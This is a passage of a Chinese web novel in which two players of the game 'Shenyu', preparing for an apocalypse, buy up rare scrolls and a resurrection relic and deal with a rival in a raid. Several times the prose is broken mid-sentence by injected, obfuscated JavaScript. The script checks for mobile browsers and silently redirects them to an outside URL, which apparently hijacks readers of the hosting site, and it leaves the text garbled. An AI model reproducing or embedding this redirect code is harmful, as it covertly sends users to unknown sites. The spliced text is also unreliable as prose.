卷轴和遗物只在野外怪身上掉落，而且掉落率非常变态，类似于加攻加防加速这种基础卷轴的掉落率都已经很低了，特殊卷轴更是不用说。 而且基础卷轴会有人放到拍卖行去卖，特殊卷轴却基本没有，刷出来的人都是打算直接卖人民币的——这也就是陆燃没打算往游戏里充太多的理由，花钱的大头都在游戏外的交易上——因此他们很难一次性收到很多特殊卷轴，除了花时间盯交易频道，还是得靠自己刷。 他们已经做好剩下的这一百天大部分时间都在刷野怪的打算了。 江朗：“来了！” 他们俩结队往城外走去。 他们一起刷怪的速度是最快的，陆燃控江朗打，基本眨眼间就能清一片怪。 不过打得快不代表能刷到很多卷轴。 一小时过去，陆燃和江朗总共刷出了十张卷轴，还都是基础卷轴，一个带特殊效果的都没有。 江朗哀叹：“这怎么比我印象里还难出？是我太久没玩游戏美化了自己的记忆吗？” 他想起当年隔壁服那个五十万买时间系卷轴的土豪，想当年他也是觉得土豪真是有钱没地方花的一员，但他现在只想说，他们服也赶紧出一张时间卷轴吧，别说五十万了，一百万他也愿意啊……他现在是真有钱没地花了。 他在哀叹的时候，陆燃突然出声：“看世界频道。” 江朗：“嗯？” “出[卷轴：高级祝福术]，明拍，有意者把价格打在世界频道里吧” “我去，这是个什么卷轴？” “看了一下效果，居然是加幸运的，我请问这是怎么运作的？我激活这个卷轴之后，怎么体现我的幸运值呢？掉落物掉率更高？碰见稀有怪的概率更高？触发暴击的概率更高？是这样吗” “应该是吧？不然还能怎么个幸运值？这游戏也没有幸运属性啊” “不知道。”卖家冒出来了，“它上面就这么点描述，我也懒得去问官方，但是头一次见到这种卷轴，有没有老板要啊？” “五百出吗？” “……别吧老板，怎么着也是个珍稀卷轴，五百也太磕碜了” “主要是你这效果也太抽象了，也没说具体能加多少掉率或者暴击率，万一就加个1%呢？” “别说，我感觉《神域》这官方真能干出这种事来，本来掉率就抠得要死了，怎么可能会给你能加超高掉率的东西啊” “对啊，而且哥们，你想想这东西能用在哪，最有效的地方就是刷高难本吧，但是高难本包一次团也就几百块，全包也就一千块，你这又不到必出的地步，顶多拿来加个保险，太贵也不合适吧？” 这个买家很努力地想要以五百块拿下这张卷轴，但是卖家显然不太乐意，于是他又吆喝了起来： “还有没有有兴趣的老板啊？加幸运值的卷轴！” “六百。” 显然还真有，他喊了一声真喊出了个竞价的老板来。 “不是，还真有人跟我抢这破烂玩意儿啊？哥们我就纯买来收藏的” “我也收藏” “……七百” “我去，这年头有钱人还是太多了，这就竞起价来了” “八百” “九百” “一千二！” “不是哥们你谁啊？有你这么加价的吗？” “怎么了？有谁规定过拍卖一定要一百块一百块地加的吗？” “好好好！打起来！”——看热闹的。 “不是哥们，你一千二买这个干啥？” “我从现实到游戏都是非酋，就想感受一下加幸运值是什么感受不行吗？” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373214|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …行，你的理由很合理。” “那就一千二了？还有没有有兴趣的老板？”——一下子就喜气洋洋起来了的卖家。 “诶哥们，都一千二了你还问，这玩意儿能卖出一千二已经是奇迹了，知不知道什么叫贪心不足蛇吞象啊” “我礼貌问问而已” 陆燃和江朗对视一眼。 江朗兴奋道：“买买买！” 陆燃点点头，加幸运值的物品在游戏里比较鸡肋，毕竟游戏里大部分事情都可以靠肝来解决，你掉率低？我打上几百次，你这再低的掉率也该出了吧？所以这张卷轴不会被认为有多重要，但是对于江朗和陆燃这两个知道这些东西都即将存在于现实的人来说，现实里的幸运值就完全是另一种不同的东西了。 “你喊价吧，我去喊的话容易引来人抬价。” 江朗对于自己在游戏里的仇恨值和知名度非常有自知之明。 陆燃也同意这一点，他点了点头，开始打字。 “两千。” 世界频道有一瞬间的寂静。 “……” “……啊？” “啊？？” “不是，这也有人跟我抢？三千！” “五千。” “……” “……” “……好不讲武德的加价方式！” “五千一次！” “五千两次！” “五千三次！还有吗？！” 卖家显然很激动，真拿世界频道当拍卖行用起来了。 没人再出价了，本来那个非而有钱的玩家多少是有点想接着竞价的，但凡陆燃是报四千呢，他可能都会忍不住再往上加加，但是这个叫燃风的家伙加价的方式居然比他还豪横，他加一千他就加两千，感觉他往上喊也没用，还是算了，本来也就是稍微有些好奇这个幸运卷轴的效果而已，算了算了…… “五千……不是，这什么土豪啊？” “我靠，五千，够拿来包团高难本包快二十次了，这再非应该也能见一次顶晶了吧……” “好眼熟的ID，之前收经验书的也是这哥们吧，好的，鉴定为真土豪” 陆燃和这卖家约到了主城餐馆门口，然后开始交易。 卖家拿到这五千块显然非常高兴，还当场给陆燃来了段吉祥话才离开。 陆燃和江朗也很高兴，小心翼翼地给这个卷轴放进了仓库里，打算最后再拿到背包里。 而随着这位卖家的离开，陆燃收到了一大堆私信： “老板？我这有个卷轴你看看收不收？” “老板，我这有个稀有卷轴你有兴趣吗？” “老板……” “老板……” “老板……” 看着陆燃的私信框里一条一条往外冒消息的江朗一拍大腿：“诶我好蠢啊，我光想着那些大价买了珍稀卷轴的人肯定都是土豪不乐意出手，没想过还有很多这种上不上下不下看着很鸡肋的卷轴滞留在卖家手里啊……” “好好好，这叫什么，这叫千金买马骨啊！虽然我们这马骨完全是赚的……嗯嗯嗯快看看都有什么？” “这个看描述是吸血卷轴，大概就是转移生命力的” “买！这不是神技？” “这个叫[镇定]，加buff的，游戏里只能提升暴击率，但是它描述上写的是可以提升对精神类攻击的抵抗能力，放到现实中应该主要效果是后者？” “买买买！这不是神技？他要价好低啊我的天！” “这个……” “买！” “这个……” “买！” 江朗每见一个卷轴都觉得简直太有用，这些稀奇古怪的卷轴放在游戏里可能没多少效果，但是放在现实里能玩出的花样太多了，这不收简直不是人啊！ 于是在他的激情叫喊的BGM之中，陆燃同意了每一个交易请求，把这些卷轴通通收入囊中。 来找他的卖家们也都很高兴，他们都是看见陆燃一掷千金买了一张加幸运值的奇怪卷轴之后想来碰碰运气的。 没想到陆燃真的什么都收啊！ 这些稀奇古怪的卷轴总算出出去了！真不赖嘿！ 眨眼间，陆燃那张十几万存款的卡里就下去了两三万。 江朗从他的行李箱里掏了掏，掏出了三张卡递给江朗。 “密码你知道的。” “哦对，我想起来了，我还得回去卖个房，那两套房就算急卖，应该也能卖个大几百万吧。” 13. 第 13 章 突然想起来自己还要卖房的江朗也顾不得多在陆燃他们学校这条美食街多吃几顿了，光速定了第二天的回家的机票。 倒是来得及最后去吃了顿花甲粉。 “快的话应该半个月就能回来？” 第二天中午，江朗提溜着他的行李箱准备出门，依依不舍地和陆燃算着回程时间。 “小的那套就在学校旁边应该蛮好出手的，大的那套应该也不难吧……” 陆燃：“不急，时间肯定是够的。” 江朗其实也不知道自己在焦急什么，就是有种莫名的紧迫感，大概是悬在头顶的ddl让他无法安心吧。 但是看见陆燃淡定的脸，他突然就不知怎的安定了下来。 于是他朝陆燃挥了挥手，出门打的去了。 陆燃则回到自己的桌前。 他准备上线去“躺尸”了。 ——包团的老板是不用动手的，直接进本就站着等Boss群攻技能扫过来把你扫死就行。 两个高难本加起来大概要打四五个小时，他这四五个小时除了操作角色跑几步以外基本什么都不用做。 他准备趁这个时间做一下自己的“兼职”。 他其实有两份兼职，一份是在学校附近的甜品店打工，赚得不是很多，但胜在给他第二份收入过个明路，他打算这周就把这个兼职辞了——完全是浪费时间。 他的第二份收入是给人写挂，这是他的主要收入来源。 其实江朗卡里钱够了，再加上江朗现在都回去卖房了，他们俩资金肯定是不缺的，但是他觉得闲着反正也是闲着，多挣一点是一点。 陆燃一边写挂，一边听着YY频道里团长的指挥动静，该走的时候就换个键盘走两步。 这个团果然是熟练工，看着非常悠闲地就把图纸本的第一个Boss推过了。 后续也一样，陆燃到Boss面前就准备开躺，双手离开键盘，主打一个这钱花了我就一点力不出，非常悠闲自在，其他人也非常悠闲自在，打过太多遍Boss之后，每一个动作都跟刻进了DNA一样，都不用动脑，手自己会行动。 但是可能是玄学吧，副本过得太顺利爆率就会变低。 打了半天，只有第一个Boss爆了戒指和项链的图纸，后面啥都没看见，团长对此也是有些尴尬，哈哈干笑了两声说：“谁开的这个本，你手太黑了，下个本换个人！” 下个本果然换了个人来开。 但是更非了……打完前两个Boss，出的材料让团长简直有点想给陆燃退钱。 但是打都打到这里了，CD也已经黑了，还能怎么办呢……只能说希望老板不要太破防。 于是，在团长略显局促的指挥中，最后一个Boss轰然消散。 然后团长一摸—— “卧槽！！！！” “卧槽！！出顶晶了！” “啊啊啊啊啊好！恭喜老板！” “我靠我就说今天前面非得简直不正常！原来是铺垫啊！这一切都是为了最后的顶晶做铺垫了！” 其他团员也激动得鬼哭狼嚎了起来——虽然这块顶晶不归他们，而且严格来说这次团算他们打亏了，因为一块顶晶的市价是五千，而包团价格是一千。 包团就是这样的，没出顶晶打工团小赚，出了顶晶就老板大赚。 但是陆燃前面真的太非了，他们也越打越心虚，YY频道里都没什么人聊天了，让本就尴尬的团长愈发尴尬。 陆燃也松了口气，最难出的东西能最早出最好，后面就轻松了，还能省点包团钱。 但就在团长要把顶晶分配给陆燃的时候，队伍频道里突然冒出来了一个人： “哥们，这块顶晶你能不能让给我，我三倍补你包团钱，然后团长，我按顶晶给你们团团员工资，怎么样？” 陆燃眉头一皱，他选的全包，那么整个团里应该就只有他一个老板而已，这人哪里冒出来的？ 团长也有点迷茫，他不认识这人，他的想法和陆燃一样——明明就一个老板，这人哪里冒出来的？ 不过对方的条件很诱人，如果陆燃同意的话，他肯定愿意同意啊。 不过陆燃不同意的话，那肯定老板优先，先答应好的老板，哪有因为别人价高就同意截胡的？这不是离谱吗？ 但是团长虽然是这么想的，却不代表团队里其他人也是这么想的。 他刚要说话，他们团的企鹅群里就冒出来了新的消息： “这是我朋友，他打了大半个版本的顶晶都没出，本来想放弃了，今天是来帮忙替小灵的空的，没想到就出顶晶了，他真的打了好久了，团长你就帮着跟老板沟通一下呗” “今天这个老板看着也不像是急着要顶晶的样子，他不是纯新人吗？” 这人发完消息后，群里其他人瞬间分成了两派。 一派是有机会多赚一点不是挺好的吗？老板没准也动摇了呢，如果他同意的话，他们这一趟是二十多个人分个五千块，工资其实均到每个人身上也就两百多块，老板却是来一趟净赚两千啊，怎么想都很划算吧。 想要顶晶就之后慢慢刷呗，毕竟都版本中期了，还能有什么着急的？又不是版本初期攀比进度，再过几个月，高难本都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有钱不赚是傻子，这有什么好不答应的啊！肯定会答应的吧！” “换我我就不答应，我能说这哥们真不会讲话吗？听着跟打发要饭的一样，本来就是他自己要截胡，搞得跟其他人对不起他一样[白眼]” “富哥不会讲话怎么了，富哥要会讲话那还是富哥吗？更何况给钱啊，我乐意当这叫花子” “……” 万众瞩目之下，燃风这个ID终于说话了。 “你缺顶晶” “就自己去包团” 14. 第 14 章 打工团的企鹅群瞬间就炸了。 “我草，到手的鸭子飞了” 原本他们都以为燃风肯定会同意这个稳赚不赔的交易，所以才有功夫为他打抱不平。 但看见燃风真的拒绝，所有人脑子里都是一句话——我靠，到手的五百块飞了！ 好心痛！ 明明也都知道这钱本来就还没到他们手上，但是就是有种属于自己的钱被一句话就搞没了的痛感，甚至有人开始埋怨起了燃风的拒绝。 “靠，他这一身新手装急个屁啊，有钱也不赚，这什么神人啊？” 团长倒是松了口气，他忙不迭地把顶晶和其他东西都分配给了陆燃，然后在YY里打了两句哈哈： “不好意思啊这位朋友，老板说好的包团，既然老板不同意，那我也没办法了” 那人愣了一下，但很快又开始打字，只要顶晶还没出副本，就还能交易，一旦出了副本就无法交易了。 “六千不够？一万够不够？” “嘶——” 吃瓜群众开始倒吸一口凉气：“一万……赛季末一块顶晶根本不值这个价啊，只能说有钱难买富哥高兴了” “我能不能去求求这个老板同意，他看不上这一万是一回事，我真的很在乎这五百块” “呜呜呜呜我也……我一想到到手的五百块飞了我就好难过” “……” 燃风这个ID终于又说话了，但是他的发言完全无视了这位“富哥”。 “OK，拿到了，钱转你了团长” “okkk，老板下次接着惠顾哦” 就在团员们哀叹这到手的五百块就这么飞了的时候，团长突然在YY里发出了一声杀鸡般的叫声： “老板！等下！你是不是多转了一个零？？” 燃风：“没有。” 燃风：“红包，散喜气。” 燃风：“顶晶难出，我急着用，也不知道沾了谁的运气，发个红包感谢一下吧” “卧槽” “卧槽卧槽卧槽” “好的这是真富哥啊，我勒个去，团长你快把我麦开了，我要给富哥磕一个！” “团长我也要！快快快，快抱我上麦，我这不得给富哥表演个杂技？” “我去，五百块又回来了！” “什么叫又回来了，那是一回事吗？我去这是真富哥，一声不吭地就给兄弟们发一万，另外一位花个一万从别人手里截胡装什么大款啊” “就是就是，富哥本来完全可以就正常转一千走人，本来能不能出顶晶就是赌脸啊，谁知道今天会出的” “我要给富哥打一辈子工求求了！” 陆燃不知道他们群里闹腾成什么样子了，他这一万块其实花得既很冲动也不很冲动。 冲动的部分是，他确实就是烦这人一副有点小钱就眼高于顶的样子，他花这一万无非也就是为了说一句——“就你有钱？” 当然，他没真的说出来，但他觉得所有人应该都听见这句话了。 反正末世要来了，该花的钱都得花出去，花钱出口气也无妨。 不那么冲动的部分是，他很感激这个团长没反悔，虽然这事儿本来就是他占理，一千包团就是一千包团，但是有时间泡在这游戏里打团的基本都是大学生，一个团二十人分一万对大学生来说也是一笔不少的钱了，会对这个截胡的人的提议动心是难免的。 团长却始终没说什么就等着他做决定，看似只是很普通的契约精神，但这年头能有契约精神的人本来就是少数。 更何况，对他来说，这块顶晶能出就比什么都重要，和大部分人不一样，他没有时间去慢慢赌，所以为了报答团长这个好人，他还是打算把这个差价给他补上，这样他这个团就还能毫无芥蒂地继续组下去，否则难免会有团员对他这个团长生出意见。 末世将来，他还是不希望这个团长好人的号出任何问题的。 他估摸了一下时间，江朗应该下飞机了，就干脆给江朗打了个电话。 电话铃刚响了一声，对面就接了起来。 “喂喂喂？陆燃？这么快就想我了吗哈哈。” “顶晶出了。” 原本还在开玩笑的江朗瞬间“我去”。 “好好好！出了就好！其他的就不用担心了，三个月怎么都能刷出来了！” “嗯。” 他俩说着话，陆燃的电脑屏幕突然边框一红——有人对他开红，也就是野外攻击。 陆燃手比脑子动得快，鼠标一转确认攻击者方向之后就一套连招甩上去了。 江朗只听见陆燃轻轻的一声“嗯？”，连忙问：“咋了咋了？出啥事了？” 陆燃：“有人攻击我。” 江朗目瞪口呆：“谁胆子这么大来杀你？” 江朗简直要满脑门雾水了，杀陆燃，这不是自寻死路吗？ 陆燃：“不知道谁，杀太快了，进复活状态了，是个脆皮，我技能的附带攻击都扛不住。” 江朗滴汗。 陆燃没点攻击技能他比谁都清楚，他这号所有的伤害都在于几个控制技能的附带伤害还有普攻，就算他现在已经把等级升上来了，装备也开始鸟枪换炮了，但那点附带伤害就算高起来，也高得非常有限，正常PVP玩家绝对扛得住一套连招，甚至能扛好几套。 估计只有他这样所有装备属性都堆到伤害上了的脆皮秘术师才会扛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385434|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住。 但是谁家脆皮秘术师这么想不开去攻击陆燃啊？ 几秒过后，陆燃看见杀他的这个人在副本门口复活了。 陆燃抬头看了眼角色ID，有些无语： “是个刚刚在我包的团里跟我抢顶晶的人，没拿到可能觉得生气吧，就追出来杀我了，估计是觉得我是新手好杀。” 江朗听得目瞪口呆，忍不住“啧啧”了两声：“神人一位。” 陆燃：“不知道，可能是觉得多杀我几次有可能能把顶晶爆出来吗？也可能就是气不过想杀我，不知道他怎么想的。” 不过不管他是怎么想的，这么菜还学别人来伏击，也是很神奇了。 江朗一边拎行李箱一边吐槽：“那你多杀他几次吧，这什么人啊？” 陆燃“嗯”了一声，反正该做的事已经做完了，闲着也是闲着，在副本门口堵一会儿这个人也没什么耽误事的。 对方复活一次，他杀一次，没过几次，对方直接躺下了。 但没下线。 陆燃也不动，看看他想干什么。 然后他看见对方躺在地上在附近频道发了句话，白色的气泡从他的尸体上方冒了出来： “你等着，我已经喊人了” 陆燃一时失笑。 他虽然没自恋到觉得这个服的人都应该认识他的程度，但一时还是觉得，这个人就不能在埋伏他之前或者试图群殴他之前上论坛搜一下他这个ID吗？ 玩PVP，至少也该做一下情报工作吧。 没多久，陆陆续续有人从主城方向赶来，躺在地上的那“富哥”虽然还躺着，但精神上已经复活了，开始长篇大论地在附近频道骂他。 只是他刚骂到一半，却发现，他喊来的人远远地停在了半路中。 然后他的聊天框里收到了类似这样的私信： “不是哥们？你喊我过来送死？” “我晕，哥们，你不上论坛的吗？” “我靠，不好意思哥们，我们还没熟到我可以为了你放弃这个号的程度，这位主想堵你，那谁能和他对着干啊？不好意思，先溜一步，我劝你还是直接下线吧” 富哥：“？？？？？？” 他抠再多问号也没用，他喊来的人直接停在半路，然后转头就回去了。 陆燃忍不住笑了一下，他也在附近频道开始打字： “不是说你喊人了吗？” “人呢？” 富哥：…… 他终于想起来上论坛查了一下燃风这个ID，然后陆燃就看着他的角色下线消失了。 好吧，好像只能玩到这里了。 陆燃略有些遗憾地离开了副本门口。 15. 第 15 章 漆黑的天。 血红的光。 像是要把天撕裂一般。 然后天就真的裂开了。 巨大。巨大。巨大的生物拔地而起，直接撕破了那片黑色的天空，露出了另外一片天空，一片血红色的天空。 “陆燃！” 江朗猛地从床上直挺挺地坐了起来。 他猛烈地喘着气，听着简直像是要把自己的肺喘出来了一般。 他下意识地按了下手机，看见手机亮起，信号和网络的标志也都健在，慢慢地，慢慢地松了口气。 他真的回来了，一切都还没开始，一切都还能改变。 手机屏幕上显示的时间是3：43，这个点陆燃已经睡了，虽然他很想打电话给陆燃确认一下他还活着，但是这个点吵醒陆燃……呃，他还不想被骂一顿。 算了，玩会儿游戏吧。 江朗拖过床边的笔记本，打开，启动《神域》。 他叹了口气，其实他两点多才睡着，然后就做了两个小时的噩梦。 其实他刚回来那天就是这样。 那天他太累了，又刚从末世回到秩序社会，精神状态一下子放松了下来，所以在飞机上稍微睡了一会儿，结果刚睡着，梦里就反复反复地出现重生前的场景，于是被空姐喊醒后他就不敢闭眼了。 昨天睡在陆燃公寓里的时候，他睡得很安心很沉，梦里什么也没有，大概是因为他可以听得见陆燃的声音，能无比确信他还活着吧。 他登上了自己的账号，一时间倒也不知道该做什么。 睡觉前他和陆燃去刷了会儿野怪，然后就回来主城了，他现在不是很想继续刷怪，而且他一个人去效率太低了。 他想了想，还是去刷生活技能吧。 他操纵着角色朝主城的饭店走过去，然后就在这时，他瞥了眼世界频道，然后就屏住了呼吸。 “刷出了带复活效果的遗物，有没有人要的？” “复活？啥样的复活？免死亡惩罚的？” “哥们第一次卖东西吧，倒是把介绍贴上来看看啊！” “哦哦哦不好意思，等一下” “[圣菲斯的短笛：召唤生与死间隙的亡魂]” “使用效果：对死亡五分钟内的对象使用可进行复活，免除所有死亡惩罚（使用前可预览死亡惩罚），不限使用场景” “使用次数：3次（当前剩余次数：3次）” “卧槽！预览死亡惩罚？那不是说可以看见这次死亡掉的东西值不值得用这个道具吗？卧槽牛逼啊” “那有点神了，本来觉得如果单纯只是保险的话没什么意思的，谁知道这次掉啥啊，万一就免了掉红蓝药不是亏大了吗？” “我去！不限使用场景？竞技场也能用吗？那很神啊！” “有没有老板要的啊？就世界频道报价吧，底价五千行不？” “不是哥们，你叫价也太胆小了，才五千，你知道有多少想要竞技场那个第一称号的老板会出钱拍你这个遗物吗？你是不是看不起老板们的实力？” “那我该喊多少啊……教教” “呃，这，怎么也得五位数开始喊吧……” “但是好像我喊五千都没人理我” “大哥，你自己看看时间行吗？大晚上的快四点了，这个点有几个人能醒着？哥给你个建议，你先去睡觉，明天晚上七八点再来卖这个复活遗物” 江朗很难形容那一瞬间他是什么感受——头脑一片空白，一种酥麻从指尖泛起直到心脏，然后是心脏骤然紧缩。 他只能看见“复活”两个字。 然后他几乎是条件反射式在输入框打下： “别下线” “你心理价位多少？” “也别拍卖了，明天这个遗物最多能拍到五万，我直接按这个数给你转” “我去，老板！” “我去！三重佬！三重佬这个点还醒着啊？不愧是三重佬” “哇……”卖家先哇了一声，然后有点犹豫地征询了一下其他人的意见，“你们觉得呢？五万这个数目合适不？” 其实他是在问刚刚那个给他意见让他明天晚上再拍卖的人。 那人倒是很快就回了。 “三重佬出价很公道啊，确实应该就能拍到五万左右” “毕竟这个道具能想到的用途就两个，一个是保死亡不掉落物品，但是一般玩家身上最贵的装备和物品，也不会超过五万这个价格的” “另一个就是竞技场里当合法外挂用，一次复活机会在高手对决中能起到的作用太大了，为了赛季第一能拿到的那个成就称号，应该有不少竞技场大佬会拍，但是根据‘演员’的行价，估摸出来应该也就这个数” “哥们，这个价格还是挺公道的，明天拍其实也不一定能拍到这个数，反正我是你的话就出了” 那好运出了复活道具的玩家瞬间被说服了。 “这样吗，好的好的” 江朗松了口气，对方愿意直接卖就最好，他希望能以最快的速度拿下这个遗物。 同时他有点后怕，他刚刚手太快了，直接用自己的号就喊话了，他发出去那一瞬间，就有些后悔，他这个号仇恨太高，喊价很容易引来一些莫名其妙抬价的人，幸好没有出现奇怪的人。 他希望赶紧把这交易定下来，于是快速打字： “你在哪个主城？我现在过来” 但是就在对方回复前，世界频道突然多出了一个喊价： “五万零一千” 江朗：“……” 他有些头疼，果然刚刚还是应该上陆燃的号来报价的，莫名其妙的人真来了。 “诶？有新老板，那三重佬你还喊价不？” [三重纽带]：“六万” “我草，这样加价的吗？” “我去，我一直以为三重佬是个很精打细算的佬，以前都没见过三重佬抢遗物啥的” “吓晕了” “六万零一千” 江朗于是确定，虽然这个ID看不出是谁，但是肯定是冲他来的。 他刚刚开始就在登陆燃的号，现在终于登上了，于是他用自己的号发了一句： “哦，那给你吧，我不要了” 卖家很高兴，平白多赚一万肯定没有不高兴的。 那突然冒出来的买家却是沉默了一瞬间。 江朗有点想笑，对方肯定是觉得他对这个东西志在必得，所以才敢一直跟着他报价吧。 他双手放在键盘上，打算看看对方要不要退，退的话，他就不用再用陆燃这个号喊价了。 他还特意撺掇了一下：“虽然六万看着价高，不过这个预览死亡惩罚的效果很稀有，你赚了” 对面还是没动静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……” 除他以外喊价的人的喊价速度终于降了下来。 他们甚至有点疑虑——三重纽带和燃风这俩人到底是真想要这个卷轴，还是其实和他们就像让三重纽带大出血一样，他们其实也已经不是很想要了，就等着抬到一个纯亏的价然后跑路让他们接盘？ 起了这个念头之后，他们的喊价是越来越疑虑。 江朗则是单纯烦了，大晚上的还要跟一群莫名其妙的人竞价，他的心态已经变成了——反正这个道具他要定了，这群人有本事就把价抬到几十万，反正他出得起，但是他们自己出不出得起他就不知道了。 “十万。” “……” 喊价的人停了。 江朗也喊出火了。 [燃风]：“还有谁要加价吗？” “……” “我勒个去啊，不是，这卷轴真的值十万吗？” 心花怒放的卖家很想把人的嘴堵上——大佬爱多少钱多少钱买，就你事多！ “不是啊我是说真的，不管这遗物是三重佬用还是燃风佬用，他们俩身上都没有超过十万的装备或者道具吧……别最后用这个遗物只为了保这个遗物不掉落就搞笑了” 凌晨四点的世界频道跟晚上七八点一样热闹，都在叽叽喳喳。 江朗则是直接操纵着陆燃的号去到了卖家所在的主城，光速完成交易，然后松了口气下线。 他现在睡得着了。 16. 第 16 章 从床上醒来之后，陆燃思考了一下，直接去导员地方请了个长假。 虽然现在这个时间段本来也没几节课了。 请完假后回到他那间小公寓，上线《神域》。 然后他发现—— “嗯？” 为什么他背包里多出来了一个复活道具。 看效果还很逆天，游戏里就挺逆天了，更何况是现实里。 他发消息问江朗： “我睡觉的时候你上我号了吗？” 江朗没回，估计还在睡觉。 陆燃就干脆先玩起了游戏。 一上游戏就发现多了一大堆私信，都是想给他卖卷轴卖道具的。 他有点陷入沉思……昨天江朗拿他号干什么了。 于是他上论坛看了眼。 好的。 在他和江朗的连番操作下，他这个号已经成了非常爱溢价收卷轴和道具的冤大头代表了。 不过也挺好，省得他们还要主动去找人买。 那些私信里甚至还有囤货囤失败了的工作室： “老板你好，我们这里有大量传送卷轴，您看看有需要吗？” 传送卷轴，上版本还是能卖出不错价格的基础卷轴中的SSR。 传送卷轴的效果是去某处记录坐标之后，下次就可以直接传送过来了。 《神域》是一个神奇的游戏，神奇在它的传送点特别少，玩家们每天都要花大量时间在路上，甚至做日常周常的点都没有什么近一点的传送点，所以传送卷轴很受欢迎。 不过这个版本，官方终于在众多玩家的哀声载道中，多更新了一批传送点，传送卷轴的价格也随之暴跌。 毕竟日常和周常点有传送点了，那么传送卷轴剩下的最大用处就是被人堵副本门口杀的时候逃跑用了。 但这种行为一向为正派PVP人士所不齿，但凡要点脸的都干不出这事。 所以版本更新后传送卷轴的销路瞬间堪忧啊！ 普通玩家倒还好，也就少卖点钱，实在不行拿来自己用呗。 当初高价收传送卷轴试图更高价卖出去的工作室们就苦了，全砸手里了，亏本买卖啊……当黄牛有风险。 [燃风]：“具体是有多少？” [土灵工作室198xxxxx010]：“老板我们手上总共有500份传送卷轴哦，你想要多少数目都可以的呢” 陆燃挑了挑眉，还真是囤了很多，他打算全吃下，别人嫌传送卷轴没用，他和江朗肯定不会嫌。 不过他还是要稍微砍砍价的。 [燃风]：“这么多？” [土灵工作室198xxxxx010]：“哈哈，老板您应该懂的” “你们多少一张收的？” “老板很懂行啊，我们收的时候是一百五一张，现在打骨折给您七十五一张出怎么样？” 陆燃觉得这个工作室在扯淡，上版本的传送卷轴市价确实是一百五一张，但那就是工作室哄抬价格之后导致外部留下来的传送卷轴过少才涨到了这个价格，而且工作室一般大量收，肯定能拿到更便宜的价格。 估计均价也就在一百二左右吧。 “有点贵，我是打算全收了的，你也知道我这个号仇人比较多，传送卷轴会大量用” 工作室负责和燃风来对接的人迷茫了一下——啊？您还需要传送卷轴逃跑的吗？敢堵你的人才需要吧…… 不过他们做销售的，从来不反驳顾客，而且燃风话语里的另外一个词吸引了他的全部注意力： “您真的打算全收？！那肯定得给您便宜点啊！” ——我靠！今天真是来对了！这堆传送卷轴砸仓库里不知道多久了！总算可以卖出去了啊！ “您觉得七十一张怎么样？” “我觉得可以六十一张” “老板，六十真不行，这打了四折了，也太夸张了” “我不是很能接受七十” “您等等，我去问问我们老板” “行” 过了两分钟后，工作室的人带着自己的最终报价回来了：“六十八？” “六十五吧，凑个整” “老板，这哪里整了……” “整五也是整” 闲得无事做又还没看见江朗上线的陆燃拉扯了半天，终于以一张六十六的价格拿下了500张传送卷轴。 他很满意。 他完成交易之后，江朗倒是醒了，也懒得回消息，直接给陆燃打了个电话。 “你昨天买了个复活道具？” “对的，你看见了？” “嗯，效果挺牛的。” “哦草，我忘记了，那个道具还在你号上，我现在过来，你交易一下。” 陆燃沉默了一会儿。 他和江朗基本无所谓什么东西在谁号上。 而这个遗物和其他的东西的区别大概是，拿着的人才可以救另一个人。 也就是万一拿着的那个人死了，除非现实世界也遵循掉落原则，有概率爆出死者背包里的物品——嗯，待会儿还得问问江朗这个背包在现实里是怎么运作的——否则他就真的死了，而如果死的是没拿着这个遗物的人，另一个人则还有机会复活他。 陆燃慢慢地张开了双唇： “我一直没问过你。” “江朗，我是怎么死的。” 电话那头，有漫长的沉默。 很显然，江朗对于这个话题很抗拒。 陆燃理解他不想回忆起那些让他感到创伤的事，在此之前，他也尽可能地避开了这些话题，除非江朗主动提起，他几乎不主动询问他末世里的事，包括他的死亡。 不过……江朗应该明白，他只是尽可能想给他平复的时间而已。 在他们最终进入末世前，他肯定会要江朗把他能回忆起来的信息全给他共通一遍的，这样他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399897|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能做好最终的准备策略。 江朗也知道这个道理，于是他深呼吸了一口气，然后说： 